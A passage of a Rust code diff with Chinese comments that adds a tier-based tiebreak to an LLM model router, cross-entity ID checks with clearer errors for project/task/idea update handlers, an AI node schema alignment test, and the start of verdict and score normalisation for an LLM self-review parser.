/// 顺序敏感无语义(intent suggested_model_tier 恒 None)→ 现接 `req.tier`
|
||||
/// (由 intent→ModelTier 派生),同 weight 时优先选满足档位下限的候选。
|
||||
/// `req.tier = None` 时 tiebreak 维度退化为等价(保留旧行为,标题/扫描路径无回归)。
|
||||
///
|
||||
/// 路由已解耦:原「智力达标」/「成本可控」两步删除,
|
||||
/// 原第 7 步排序的 `Reverse(cost_tier)` 同权重选便宜也已删除——排序纯 weight 主导。
|
||||
/// cost_tier/intelligence 数据无客观依据(provider /v1/models 不返回,靠预设表+模型名
|
||||
/// 启发式猜),不参与硬路由。枚举保留供未来真实判别源再接回。
|
||||
/// 原第 7 步排序的 `Reverse(cost_tier)` 同权重选便宜也已删除——排序主键 weight 主导,
|
||||
/// tiebreak 由 tier(基于 intelligence,有客观档位映射依据)替代纯 max_by_key 顺序。
|
||||
pub fn select<'a>(req: &TaskRequirements, pool: &'a [ModelConfig]) -> Option<&'a ModelConfig> {
|
||||
pool.iter()
|
||||
.filter(|m| m.enabled) // 1. 只选启用的
|
||||
.filter(|m| req.modalities.iter().all(|r| m.modalities.contains(r))) // 2. 模态匹配
|
||||
.filter(|m| !req.needs_tool_use || m.capabilities.contains(&Capability::ToolUse)) // 3. 能力匹配
|
||||
.filter(|m| m.context_window >= req.estimated_context) // 4. 窗口够大
|
||||
.max_by_key(|m| m.weight) // 5. 纯 weight 主导
|
||||
// 5. 主键 weight 降序,同 weight 时 tier tiebreak(满足档位下限的候选胜)。
|
||||
// max_by 语义:comparator 返 a 相对 b 的 Ordering,Greater = a 胜;
|
||||
// 同 key(全 Equal)时 max_by 返最后一个(对齐原 max_by_key 并列返最后的语义)。
|
||||
.max_by(|a, b| {
|
||||
// 主键:weight,a 大则 a 胜(Greater)。
|
||||
let by_weight = a.weight.cmp(&b.weight);
|
||||
if by_weight != std::cmp::Ordering::Equal {
|
||||
return by_weight;
|
||||
}
|
||||
// tiebreak:tier 满足度。a 满足档位下限而 b 不满足 → a 胜(Greater)。
|
||||
// tier_match 返 bool,bool 比较:true > false(满足 > 不满足)。
|
||||
let a_match = tier_match(a.intelligence, req.tier);
|
||||
let b_match = tier_match(b.intelligence, req.tier);
|
||||
a_match.cmp(&b_match)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -94,12 +151,13 @@ mod tests {
|
||||
}
|
||||
}
|
||||
|
||||
/// 构造一个宽松需求(默认全过过滤,调用方按需覆盖字段)。
|
||||
/// 构造一个宽松需求(默认全过过滤,调用方按需覆盖字段)。tier=None 保留旧行为。
|
||||
fn req() -> TaskRequirements {
|
||||
TaskRequirements {
|
||||
modalities: vec![Modality::Text],
|
||||
needs_tool_use: false,
|
||||
estimated_context: 0,
|
||||
tier: None,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -258,7 +316,36 @@ mod tests {
|
||||
assert!(ModelRouter::select(&r, &pool).is_none());
|
||||
}
|
||||
|
||||
// ── 步骤 5:max_by_key (纯 weight) ──
|
||||
#[test]
|
||||
fn estimated_context_filters_small_window_model() {
|
||||
// 子项 1 根因修复回归测:estimated_context 非零(调用点传 TokenEstimator 估值,非死代码 0)
|
||||
// → 步骤 4 窗口过滤生效。两候选:小窗口(4K)weight 90(高诱惑)+ 大窗口(128K)weight 50。
|
||||
// 任务预估 8K 上下文 → 小窗口模型被滤,只剩大窗口候选胜(即使 weight 低)。
|
||||
// 若调用点回退传 0(原 bug),两候选窗口都 >= 0,weight 90 的小窗口模型会胜(误选)。
|
||||
let pool = vec![
|
||||
ModelConfig {
|
||||
weight: 90,
|
||||
context_window: 4096, // 小窗口,高 weight 诱惑
|
||||
..model("small-window-heavy")
|
||||
},
|
||||
ModelConfig {
|
||||
weight: 50,
|
||||
context_window: 131072, // 大窗口,低 weight
|
||||
..model("large-window-light")
|
||||
},
|
||||
];
|
||||
let r = TaskRequirements {
|
||||
estimated_context: 8000, // 任务预估 8K,小窗口模型装不下
|
||||
..req()
|
||||
};
|
||||
assert_eq!(
|
||||
ModelRouter::select(&r, &pool).unwrap().model_id,
|
||||
"large-window-light",
|
||||
"estimated_context 非零应滤掉小窗口候选,即使其 weight 更高"
|
||||
);
|
||||
}
|
||||
|
||||
// ── 步骤 5:max_by(weight 主键,tier tiebreak) ──
|
||||
|
||||
#[test]
|
||||
fn single_match_returns_it() {
|
||||
@@ -290,8 +377,9 @@ mod tests {
|
||||
|
||||
#[test]
|
||||
fn same_weight_picks_first_match() {
|
||||
// 同 weight 70,纯 weight 主导(无 cost_tier tie-break):max_by_key 遇并列 key
|
||||
// 返回最后一个(rust Iterator::max_by_key 语义)。验证同 weight 不再按 cost 取舍。
|
||||
// 同 weight 70,tier=None(req() 默认):tiebreak 维度退等价,max_by 遇并列返最后一个
|
||||
// (rust Iterator::max_by 语义,与原 max_by_key 一致)。验证同 weight + tier=None
|
||||
// 不再按 cost 取舍,行为对齐接入 tier tiebreak 前的语义(标题/扫描路径无回归)。
|
||||
let pool = vec![
|
||||
ModelConfig {
|
||||
weight: 70,
|
||||
@@ -312,17 +400,17 @@ mod tests {
|
||||
|
||||
#[test]
|
||||
fn all_dimensions_match_picks_best() {
|
||||
// 3+ 候选各维度参差,验证过滤链全过 + max_by_key 纯 weight 选最优。
|
||||
// 3+ 候选各维度参差,验证过滤链全过 + max_by(weight, tier) 选最优。
|
||||
// (智力/成本过滤已解耦,原步骤 4/5 删除,候选 d 不再因 intelligence 滤掉)
|
||||
//
|
||||
// 候选:
|
||||
// a: weight 60 → 通过全部过滤,key=60
|
||||
// b: weight 80 → 通过,key=80 — weight 最高档(与 c 并列)
|
||||
// c: weight 80 → 通过,key=80 — 同 weight 80,max_by_key 并列返回最后
|
||||
// d: weight 90 → 通过(intelligence 不参与过滤),key=90 — weight 最高,胜
|
||||
// a: weight 60 → 通过全部过滤
|
||||
// b: weight 80 → 通过 — weight 次高档(与 c 并列,但 tier=None 故 tiebreak 退等价)
|
||||
// c: weight 80 → 通过 — 同 weight 80,tier=None 时 max_by 返并列最后一个
|
||||
// d: weight 90 → 通过(intelligence 不参与过滤)— weight 最高,胜
|
||||
// e: enabled=false → 步骤 1 滤掉
|
||||
//
|
||||
// 预期:d 胜(weight 90 最高,不再被 intelligence 滤掉)
|
||||
// 预期:d 胜(weight 90 最高,tier tiebreak 不触发因 weight 已决出胜负)
|
||||
let pool = vec![
|
||||
ModelConfig {
|
||||
weight: 60,
|
||||
@@ -358,7 +446,113 @@ mod tests {
|
||||
modalities: vec![Modality::Text],
|
||||
needs_tool_use: true,
|
||||
estimated_context: 0,
|
||||
tier: None,
|
||||
};
|
||||
assert_eq!(ModelRouter::select(&r, &pool).unwrap().model_id, "d");
|
||||
}
|
||||
|
||||
// ── 步骤 5 tiebreak(子项 2):同 weight 时 tier 决胜 ──
|
||||
|
||||
#[test]
|
||||
fn tier_tiebreak_heavy_prefers_meeting_model() {
|
||||
// 子项 2 根因修复:同 weight 时,任务建议 Heavy(req.tier=Some(Heavy))→ tier_min=Plus,
|
||||
// 满足 intelligence>=Plus 的候选胜过不满足的。
|
||||
// 候选 a:Standard(不满足 Plus),候选 b:Plus(满足),同 weight 50。
|
||||
// 预期:b 胜(满足 Heavy 档位下限)。原 max_by_key 会返最后一个(顺序敏感无语义)。
|
||||
let pool = vec![
|
||||
ModelConfig {
|
||||
weight: 50,
|
||||
intelligence: IntelligenceTier::Standard,
|
||||
..model("a_standard")
|
||||
},
|
||||
ModelConfig {
|
||||
weight: 50,
|
||||
intelligence: IntelligenceTier::Plus,
|
||||
..model("b_plus")
|
||||
},
|
||||
];
|
||||
let r = TaskRequirements {
|
||||
tier: Some(ModelTier::Heavy),
|
||||
..req()
|
||||
};
|
||||
assert_eq!(
|
||||
ModelRouter::select(&r, &pool).unwrap().model_id,
|
||||
"b_plus",
|
||||
"同 weight 时 Heavy 档位应优先选 Plus(满足)而非 Standard(不满足)"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn tier_tiebreak_none_preserves_max_by_key_semantics() {
|
||||
// tier=None(标题/扫描/压缩无意图场景)→ tiebreak 维度退等价,
|
||||
// max_by 同 key 返最后一个(对齐原 max_by_key 行为,无回归)。
|
||||
// 候选 a/b 同 weight 70,顺序 a 在前 b 在后 → 预期返 b(max_by 并列返最后)。
|
||||
let pool = vec![
|
||||
ModelConfig {
|
||||
weight: 70,
|
||||
intelligence: IntelligenceTier::Standard,
|
||||
..model("a")
|
||||
},
|
||||
ModelConfig {
|
||||
weight: 70,
|
||||
intelligence: IntelligenceTier::Plus,
|
||||
..model("b")
|
||||
},
|
||||
];
|
||||
// tier=None 时即使 b 的 intelligence 更高也不应胜(tiebreak 不参与),保 max_by_key 语义。
|
||||
assert_eq!(ModelRouter::select(&req(), &pool).unwrap().model_id, "b");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn tier_tiebreak_chat_fast_any_model_meets_lite() {
|
||||
// 任务建议 Fast → tier_min=Lite,任何模型 intelligence>=Lite(Lite 是最低档)→ 都满足。
|
||||
// 故 Fast 档位下 tiebreak 退等价(都满足),max_by 同 weight 返最后一个,行为不变。
|
||||
let pool = vec![
|
||||
ModelConfig {
|
||||
weight: 50,
|
||||
intelligence: IntelligenceTier::Lite,
|
||||
..model("a_lite")
|
||||
},
|
||||
ModelConfig {
|
||||
weight: 50,
|
||||
intelligence: IntelligenceTier::Ultra,
|
||||
..model("b_ultra")
|
||||
},
|
||||
];
|
||||
let r = TaskRequirements {
|
||||
tier: Some(ModelTier::Fast),
|
||||
..req()
|
||||
};
|
||||
// 都满足 Lite 下限 → tiebreak 等价 → max_by 返最后一个 = b_ultra
|
||||
assert_eq!(ModelRouter::select(&r, &pool).unwrap().model_id, "b_ultra");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn tier_tiebreak_weight_still_dominates() {
|
||||
// tier 不凌驾 weight:weight 高者永远胜,即使低 weight 候选满足 tier 而高 weight 不满足。
|
||||
// 候选 a:weight 90,Standard(不满足 Heavy/Plus)。
|
||||
// 候选 b:weight 50,Plus(满足 Heavy)。
|
||||
// 预期:a 胜(weight 主键优先,tiebreak 只在 weight 相同时触发)。
|
||||
let pool = vec![
|
||||
ModelConfig {
|
||||
weight: 90,
|
||||
intelligence: IntelligenceTier::Standard,
|
||||
..model("a_heavy_weight")
|
||||
},
|
||||
ModelConfig {
|
||||
weight: 50,
|
||||
intelligence: IntelligenceTier::Plus,
|
||||
..model("b_meets_tier")
|
||||
},
|
||||
];
|
||||
let r = TaskRequirements {
|
||||
tier: Some(ModelTier::Heavy),
|
||||
..req()
|
||||
};
|
||||
assert_eq!(
|
||||
ModelRouter::select(&r, &pool).unwrap().model_id,
|
||||
"a_heavy_weight",
|
||||
"weight 主键应凌驾 tier tiebreak"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -108,6 +108,7 @@ impl AdversarialEngine {
|
||||
modalities: vec![df_ai_core::model::Modality::Text],
|
||||
needs_tool_use: false,
|
||||
estimated_context: 0,
|
||||
tier: None,
|
||||
};
|
||||
let model = df_ai::router::select_model_id(&eval_req, &self.model_pool).unwrap_or_default();
|
||||
let request = df_ai_core::provider::CompletionRequest {
|
||||
|
||||
+270
-6
@@ -198,6 +198,57 @@ fn arg_int_or(args: &Value, key: &str, default: i32) -> i32 {
|
||||
.unwrap_or(default)
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// 跨实体校验(防 B-260801-01:跨实体误操作)
|
||||
// ============================================================
|
||||
//
|
||||
// 各实体表(projects / tasks / ideas)独立存储,Repo::get_by_id 只查本表。
|
||||
// 当 id 实属另一实体(如把 idea id 传给 update_task),本表查询返回 None,
|
||||
// 旧实现一律报「任务/项目/想法不存在」,错误信息具有误导性,且对 LLM/客户端
|
||||
// 跨实体误操作无防护(误以为 id 拼错重试,实际是实体类型搞错)。
|
||||
//
|
||||
// 此函数在「本表未命中」时跨另两张表探测 id 归属,返回命中的实体名
|
||||
// (Some("idea") / Some("task") / Some("project")),调用方据此报更精确错误:
|
||||
// 「id 属于 idea,不能用 update_task 修改」。三表都未命中 → None(真不存在)。
|
||||
//
|
||||
// 仅在错误路径(本表 None)执行,正常路径零开销。
|
||||
//
|
||||
// 返回值命名约定:中文实体名(对齐 handler 中文错误信息风格),与 handler 名一致。
|
||||
|
||||
/// 跨实体探测:id 在另两张表中的归属(None=都不在)。
|
||||
/// `excluding` 是调用方实体名(本表已查过,跳过避免重复查)。
|
||||
async fn detect_entity_owner(db: &Arc<Database>, id: &str, excluding: &str) -> Option<&'static str> {
|
||||
// 顺序按调用方常见误操作倾向排列(task ↔ idea 互混最常见,project 较少跨)。
|
||||
// 三个候选用 if 链(非循环)以静态分发各 Repo,避免 dyn。
|
||||
if excluding != "task" {
|
||||
if let Ok(Some(_)) = TaskRepo::new(db).get_by_id(id).await {
|
||||
return Some("task");
|
||||
}
|
||||
}
|
||||
if excluding != "idea" {
|
||||
if let Ok(Some(_)) = IdeaRepo::new(db).get_by_id(id).await {
|
||||
return Some("idea");
|
||||
}
|
||||
}
|
||||
if excluding != "project" {
|
||||
if let Ok(Some(_)) = ProjectRepo::new(db).get_by_id(id).await {
|
||||
return Some("project");
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// 跨实体错误信息构造:`excluding` 是当前 handler 期望的实体名,
|
||||
/// `id` 是客户端传入的 id。若 id 属于其他实体,返回描述性错误串;否则 None。
|
||||
async fn cross_entity_err(db: &Arc<Database>, id: &str, excluding: &str) -> Option<String> {
|
||||
match detect_entity_owner(db, id, excluding).await {
|
||||
Some(actual) => Some(format!(
|
||||
"id「{id}」属于 {actual},不能用 update_{excluding} 修改(跨实体误操作)"
|
||||
)),
|
||||
None => None,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// handler 实现 — 项目
|
||||
// ============================================================
|
||||
@@ -275,7 +326,13 @@ fn update_project(ctx: &Ctx, args: Value) -> BoxFuture<'static, CallToolResult>
|
||||
// 先读现有保留 path/stack/idea_id,以及未传字段的回退源(部分更新语义)
|
||||
let existing = match repo.get_by_id(&id).await {
|
||||
Ok(Some(p)) => p,
|
||||
Ok(None) => return CallToolResult::error(format!("项目不存在: {id}")),
|
||||
Ok(None) => {
|
||||
// 跨实体校验(B-260801-01):id 可能属于 task/idea,给精确错误防误操作
|
||||
if let Some(msg) = cross_entity_err(&db, &id, "project").await {
|
||||
return CallToolResult::error(msg);
|
||||
}
|
||||
return CallToolResult::error(format!("项目不存在: {id}"));
|
||||
}
|
||||
Err(e) => return err_str(e),
|
||||
};
|
||||
// 部分更新:name/description/status 缺省回退 existing,避免空默认清空数据
|
||||
@@ -431,7 +488,13 @@ fn update_task(ctx: &Ctx, args: Value) -> BoxFuture<'static, CallToolResult> {
|
||||
let repo = TaskRepo::new(&db);
|
||||
let existing = match repo.get_by_id(&id).await {
|
||||
Ok(Some(t)) => t,
|
||||
Ok(None) => return CallToolResult::error(format!("任务不存在: {id}")),
|
||||
Ok(None) => {
|
||||
// 跨实体校验(B-260801-01):id 可能属于 project/idea,给精确错误防误操作
|
||||
if let Some(msg) = cross_entity_err(&db, &id, "task").await {
|
||||
return CallToolResult::error(msg);
|
||||
}
|
||||
return CallToolResult::error(format!("任务不存在: {id}"));
|
||||
}
|
||||
Err(e) => return err_str(e),
|
||||
};
|
||||
// 部分更新:project_id/title/description 缺省回退 existing,避免空默认清空数据
|
||||
@@ -568,7 +631,13 @@ fn update_idea(ctx: &Ctx, args: Value) -> BoxFuture<'static, CallToolResult> {
|
||||
let repo = IdeaRepo::new(&db);
|
||||
let existing = match repo.get_by_id(&id).await {
|
||||
Ok(Some(i)) => i,
|
||||
Ok(None) => return CallToolResult::error(format!("想法不存在: {id}")),
|
||||
Ok(None) => {
|
||||
// 跨实体校验(B-260801-01):id 可能属于 project/task,给精确错误防误操作
|
||||
if let Some(msg) = cross_entity_err(&db, &id, "idea").await {
|
||||
return CallToolResult::error(msg);
|
||||
}
|
||||
return CallToolResult::error(format!("想法不存在: {id}"));
|
||||
}
|
||||
Err(e) => return err_str(e),
|
||||
};
|
||||
// 部分更新:title/description 缺省回退 existing,避免空默认清空数据
|
||||
@@ -763,9 +832,9 @@ fn normalize_path(p: &str) -> String {
|
||||
mod tests {
|
||||
use super::*;
|
||||
use crate::protocol::ContentBlock;
|
||||
use df_storage::crud::IdeaRepo;
|
||||
use df_storage::models::IdeaRecord;
|
||||
use df_types::types::{IdeaStatus, new_id};
|
||||
use df_storage::crud::{IdeaRepo, ProjectRepo, TaskRepo};
|
||||
use df_storage::models::{IdeaRecord, ProjectRecord, TaskRecord};
|
||||
use df_types::types::{IdeaStatus, ProjectStatus, TaskStatus, new_id};
|
||||
|
||||
/// 构造内存 DB + Ctx
|
||||
async fn test_ctx() -> Ctx {
|
||||
@@ -808,6 +877,51 @@ mod tests {
|
||||
repo.insert(rec).await.unwrap()
|
||||
}
|
||||
|
||||
/// 插入一条项目,返回 id(跨实体校验测试用)
|
||||
async fn seed_project(ctx: &Ctx, name: &str) -> String {
|
||||
let repo = ProjectRepo::new(&ctx.db);
|
||||
let now = now_millis();
|
||||
let rec = ProjectRecord {
|
||||
id: new_id(),
|
||||
name: name.to_owned(),
|
||||
description: String::new(),
|
||||
status: ProjectStatus::Planning,
|
||||
idea_id: None,
|
||||
path: None,
|
||||
stack: None,
|
||||
created_at: now.clone(),
|
||||
updated_at: now,
|
||||
};
|
||||
repo.insert(rec).await.unwrap()
|
||||
}
|
||||
|
||||
/// 插入一条任务,返回 id(跨实体校验测试用)
|
||||
async fn seed_task(ctx: &Ctx, project_id: &str, title: &str) -> String {
|
||||
let repo = TaskRepo::new(&ctx.db);
|
||||
let now = now_millis();
|
||||
let rec = TaskRecord {
|
||||
id: new_id(),
|
||||
project_id: project_id.to_owned(),
|
||||
title: title.to_owned(),
|
||||
description: String::new(),
|
||||
status: TaskStatus::Todo,
|
||||
priority: 0,
|
||||
branch_name: None,
|
||||
assignee: None,
|
||||
workflow_def_id: None,
|
||||
base_branch: None,
|
||||
review_rounds: 0,
|
||||
output_json: None,
|
||||
idea_id: None,
|
||||
queue: "todo".to_string(),
|
||||
parent_id: None,
|
||||
content_json: None,
|
||||
created_at: now.clone(),
|
||||
updated_at: now,
|
||||
};
|
||||
repo.insert(rec).await.unwrap()
|
||||
}
|
||||
|
||||
/// 读当前 DB 中的 idea.scores(原始字符串)
|
||||
async fn db_scores(ctx: &Ctx, id: &str) -> Option<String> {
|
||||
IdeaRepo::new(&ctx.db)
|
||||
@@ -948,4 +1062,154 @@ mod tests {
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// ── 跨实体校验(B-260801-01):update_* 检测 id 属于其他实体时报精确错误 ──
|
||||
//
|
||||
// 各实体表独立,Repo::get_by_id 只查本表。当 id 实属另一实体时,
|
||||
// 旧实现只报「任务/项目/想法不存在」(误导),改后报「id 属于 X,不能用 update_Y 修改」。
|
||||
|
||||
/// update_task 传入 idea id → 报跨实体错误,不报「任务不存在」。
|
||||
#[tokio::test]
|
||||
async fn update_task_with_idea_id_reports_cross_entity() {
|
||||
let ctx = test_ctx().await;
|
||||
let idea_id = seed_idea(&ctx, "灵感A", "误传给 update_task").await;
|
||||
|
||||
let r = update_task(&ctx, json!({ "id": idea_id, "title": "x" })).await;
|
||||
assert_eq!(r.is_error, Some(true));
|
||||
let msg = text_of(&r);
|
||||
assert!(
|
||||
msg.contains("属于 idea") && msg.contains("update_task"),
|
||||
"应报跨实体错误,实际: {msg}"
|
||||
);
|
||||
// 不应回退到模糊的「任务不存在」
|
||||
assert!(!msg.contains("任务不存在"), "不应是模糊错误: {msg}");
|
||||
}
|
||||
|
||||
/// update_task 传入 project id → 报跨实体错误。
|
||||
#[tokio::test]
|
||||
async fn update_task_with_project_id_reports_cross_entity() {
|
||||
let ctx = test_ctx().await;
|
||||
let pid = seed_project(&ctx, "项目P").await;
|
||||
|
||||
let r = update_task(&ctx, json!({ "id": pid, "title": "x" })).await;
|
||||
assert_eq!(r.is_error, Some(true));
|
||||
let msg = text_of(&r);
|
||||
assert!(
|
||||
msg.contains("属于 project") && msg.contains("update_task"),
|
||||
"应报跨实体错误,实际: {msg}"
|
||||
);
|
||||
}
|
||||
|
||||
/// update_project 传入 idea id → 报跨实体错误。
|
||||
#[tokio::test]
|
||||
async fn update_project_with_idea_id_reports_cross_entity() {
|
||||
let ctx = test_ctx().await;
|
||||
let idea_id = seed_idea(&ctx, "灵感B", "误传给 update_project").await;
|
||||
|
||||
let r = update_project(&ctx, json!({ "id": idea_id, "name": "x" })).await;
|
||||
assert_eq!(r.is_error, Some(true));
|
||||
let msg = text_of(&r);
|
||||
assert!(
|
||||
msg.contains("属于 idea") && msg.contains("update_project"),
|
||||
"应报跨实体错误,实际: {msg}"
|
||||
);
|
||||
assert!(!msg.contains("项目不存在"), "不应是模糊错误: {msg}");
|
||||
}
|
||||
|
||||
/// update_project 传入 task id → 报跨实体错误。
|
||||
#[tokio::test]
|
||||
async fn update_project_with_task_id_reports_cross_entity() {
|
||||
let ctx = test_ctx().await;
|
||||
let pid = seed_project(&ctx, "项目宿主").await;
|
||||
let tid = seed_task(&ctx, &pid, "任务T").await;
|
||||
|
||||
let r = update_project(&ctx, json!({ "id": tid, "name": "x" })).await;
|
||||
assert_eq!(r.is_error, Some(true));
|
||||
let msg = text_of(&r);
|
||||
assert!(
|
||||
msg.contains("属于 task") && msg.contains("update_project"),
|
||||
"应报跨实体错误,实际: {msg}"
|
||||
);
|
||||
}
|
||||
|
||||
/// update_idea 传入 task id → 报跨实体错误。
|
||||
#[tokio::test]
|
||||
async fn update_idea_with_task_id_reports_cross_entity() {
|
||||
let ctx = test_ctx().await;
|
||||
let pid = seed_project(&ctx, "项目宿主").await;
|
||||
let tid = seed_task(&ctx, &pid, "任务T2").await;
|
||||
|
||||
let r = update_idea(&ctx, json!({ "id": tid, "title": "x" })).await;
|
||||
assert_eq!(r.is_error, Some(true));
|
||||
let msg = text_of(&r);
|
||||
assert!(
|
||||
msg.contains("属于 task") && msg.contains("update_idea"),
|
||||
"应报跨实体错误,实际: {msg}"
|
||||
);
|
||||
assert!(!msg.contains("想法不存在"), "不应是模糊错误: {msg}");
|
||||
}
|
||||
|
||||
/// update_idea 传入 project id → 报跨实体错误。
|
||||
#[tokio::test]
|
||||
async fn update_idea_with_project_id_reports_cross_entity() {
|
||||
let ctx = test_ctx().await;
|
||||
let pid = seed_project(&ctx, "项目P2").await;
|
||||
|
||||
let r = update_idea(&ctx, json!({ "id": pid, "title": "x" })).await;
|
||||
assert_eq!(r.is_error, Some(true));
|
||||
let msg = text_of(&r);
|
||||
assert!(
|
||||
msg.contains("属于 project") && msg.contains("update_idea"),
|
||||
"应报跨实体错误,实际: {msg}"
|
||||
);
|
||||
}
|
||||
|
||||
/// 三表都不存在的真随机 id → 仍报原「不存在」错误(跨实体校验不应改变此行为)。
|
||||
#[tokio::test]
|
||||
async fn update_task_with_unknown_id_still_reports_not_found() {
|
||||
let ctx = test_ctx().await;
|
||||
let r = update_task(&ctx, json!({ "id": "ghost-id-12345", "title": "x" })).await;
|
||||
assert_eq!(r.is_error, Some(true));
|
||||
let msg = text_of(&r);
|
||||
assert!(
|
||||
msg.contains("任务不存在"),
|
||||
"三表都无此 id 应回退到原「不存在」错误,实际: {msg}"
|
||||
);
|
||||
}
|
||||
|
||||
/// 正常路径:update_task 传入真实 task id → 成功(校验不应破坏正常路径)。
|
||||
#[tokio::test]
|
||||
async fn update_task_with_real_task_id_succeeds() {
|
||||
let ctx = test_ctx().await;
|
||||
let pid = seed_project(&ctx, "项目宿主").await;
|
||||
let tid = seed_task(&ctx, &pid, "原标题").await;
|
||||
|
||||
let r = update_task(&ctx, json!({ "id": tid, "title": "新标题" })).await;
|
||||
assert!(r.is_error.is_none(), "正常路径不应报错: {:?}", text_of(&r));
|
||||
let v = json_of(&r);
|
||||
assert_eq!(v["task"]["title"], "新标题");
|
||||
}
|
||||
|
||||
/// 跨实体探测纯逻辑:三实体互查正确性。
|
||||
#[tokio::test]
|
||||
async fn detect_entity_owner_returns_correct_entity() {
|
||||
let ctx = test_ctx().await;
|
||||
let pid = seed_project(&ctx, "项目").await;
|
||||
let tid = seed_task(&ctx, &pid, "任务").await;
|
||||
let iid = seed_idea(&ctx, "灵感", "x").await;
|
||||
|
||||
// 各 id 跨表探测应返回其真实所属实体(注意:不包括 excluding 自身)
|
||||
assert_eq!(detect_entity_owner(&ctx.db, &tid, "task").await, None, "task 自身被排除");
|
||||
assert_eq!(detect_entity_owner(&ctx.db, &tid, "project").await, Some("task"));
|
||||
assert_eq!(detect_entity_owner(&ctx.db, &tid, "idea").await, Some("task"));
|
||||
|
||||
assert_eq!(detect_entity_owner(&ctx.db, &iid, "idea").await, None, "idea 自身被排除");
|
||||
assert_eq!(detect_entity_owner(&ctx.db, &iid, "task").await, Some("idea"));
|
||||
|
||||
assert_eq!(detect_entity_owner(&ctx.db, &pid, "project").await, None, "project 自身被排除");
|
||||
assert_eq!(detect_entity_owner(&ctx.db, &pid, "task").await, Some("project"));
|
||||
|
||||
// 三表都没有 → None
|
||||
assert_eq!(detect_entity_owner(&ctx.db, "ghost", "task").await, None);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -124,7 +124,12 @@ impl Node for AiNode {
|
||||
"base_url": { "type": "string", "description": "(已废弃过渡)明文 API 地址,改用 provider_id" },
|
||||
"api_key": { "type": "string", "description": "(已废弃过渡)明文 API 密钥,改用 provider_id;密钥经 secret 解析" }
|
||||
},
|
||||
// SW-260618-15: prompt/provider_id 均"留空走兜底"(prompt 取上游、provider_id 走默认 provider),与 required 矛盾。改 required=[] 对齐 execute 运行时,防前端按 schema 误拒合法配置。
|
||||
// SW-260802-01: schema 与 handler 行为对齐 — config 层 required=[] 正确,但 prompt 运行时必填。
|
||||
// prompt: execute → parse_params(ai_node_helpers.rs:189-200) 取 inputs["prompt"] > config.prompt,
|
||||
// 两者皆无则 Err("缺少必填参数: prompt")。即 prompt 真必填,但可由上游节点注入,
|
||||
// JSON Schema 只校验 config 属性无法表达"二选一",故 required 留空 + description 标注兜底来源,
|
||||
// handler 兜底校验保证语义;前端不得按 required=[] 误以为 prompt 完全可省。
|
||||
// provider_id: 空 → resolve_provider 路径 3 走默认 provider,非必填。
|
||||
"required": []
|
||||
}),
|
||||
output: serde_json::json!({
|
||||
@@ -420,4 +425,35 @@ mod tests {
|
||||
// 自审闭环相关单测(parse_review_json / truncate_for_summary / gate_should_block /
|
||||
// build_review_prompt / update_field_writes_output_json)已随 AiSelfReviewNode 迁移至
|
||||
// ai_self_review_node.rs(与被测代码同位,纯搬运)。
|
||||
|
||||
// ============================================================
|
||||
// SW-260802-01: schema required 与 handler 行为对齐测试
|
||||
// ============================================================
|
||||
//
|
||||
// 真实 bug(误判修正):原注释称"prompt/provider_id 均留空走兜底",实则 prompt 运行时必填 ——
|
||||
// parse_params(:189-200) 取 inputs["prompt"] > config.prompt,两者皆无则 Err("缺少必填参数: prompt")。
|
||||
// 但 prompt 可由上游节点 inputs 注入(非 config 独占),JSON Schema required 只校验 config 属性
|
||||
// 无法表达"二选一",故 config 层 required=[] 正确,handler 兜底校验补足语义。
|
||||
//
|
||||
// 已有 missing_prompt_errors 测试覆盖 handler 兜底(缺 prompt 报错),此处补 schema 这层契约:
|
||||
// config 层 required 应为 [](prompt 来源可上游、provider_id 走默认),防前端按 schema 误判 +
|
||||
// 防后续误把 prompt 塞进 required 拒掉合法的"上游注入 prompt"配置。
|
||||
|
||||
/// AiNode schema.required 应为 [](prompt 可来自上游 inputs、provider_id 走默认 provider)。
|
||||
#[tokio::test]
|
||||
async fn schema_required_empty_matches_handler() {
|
||||
let db = Database::open_in_memory().await.expect("open_in_memory");
|
||||
let node = AiNode::new(Arc::new(db));
|
||||
let schema = node.schema();
|
||||
let params = schema.params.as_object().expect("schema.params 应是 object");
|
||||
let required = params
|
||||
.get("required")
|
||||
.and_then(|v| v.as_array())
|
||||
.expect("schema 应有 required 数组");
|
||||
assert!(
|
||||
required.is_empty(),
|
||||
"AiNode required 应为 [](prompt 可上游注入、provider_id 走默认),实际: {:?}",
|
||||
required
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -219,6 +219,7 @@ pub(crate) fn parse_params(
|
||||
modalities: vec![Modality::Text],
|
||||
needs_tool_use: true,
|
||||
estimated_context: 0,
|
||||
tier: None,
|
||||
};
|
||||
select_model_id(&node_req, &provider.model_pool).unwrap_or_default()
|
||||
};
|
||||
@@ -260,9 +261,20 @@ pub(crate) const REVIEW_SYSTEM_PROMPT: &str = "\
|
||||
|
||||
/// 解析 LLM 自审输出为结构化 review JSON。
|
||||
///
|
||||
/// 成功路径:serde_json::from_str 得到 Object 且含 verdict 字段 → 原样返回。
|
||||
/// 成功路径:serde_json::from_str 得到 Object 且含 verdict 字段 → 规范化后返回。
|
||||
/// 兜底路径:解析失败 / 非 Object / 缺 verdict → 返回 verdict=unknown + summary=原文,
|
||||
/// 防 LLM 不按要求输出导致下游崩溃。dimensions 留空对象(前端容缺展示)。
|
||||
///
|
||||
/// 三道加固(P2):
|
||||
/// 1. verdict 规范化:to_lowercase + trim,统一输出 pass/fail/unknown 三态。
|
||||
/// 防 LLM 输出 "Pass"/"PASS"/" Fail " 类大小写/空白变体致 gate_should_block 精确
|
||||
/// 匹配误判(原 == "fail" 对 "Fail" 放行,漏阻断)。
|
||||
/// 2. score clamp:dimensions.*.score 读时 clamp 到 [0,10]。防 LLM 输出越界值
|
||||
/// (99/-1/NaN)污染前端展示与闸门阈值判定(维度 score<6 视 fail 由 prompt 约定,
|
||||
/// 越界值会破坏该约定)。
|
||||
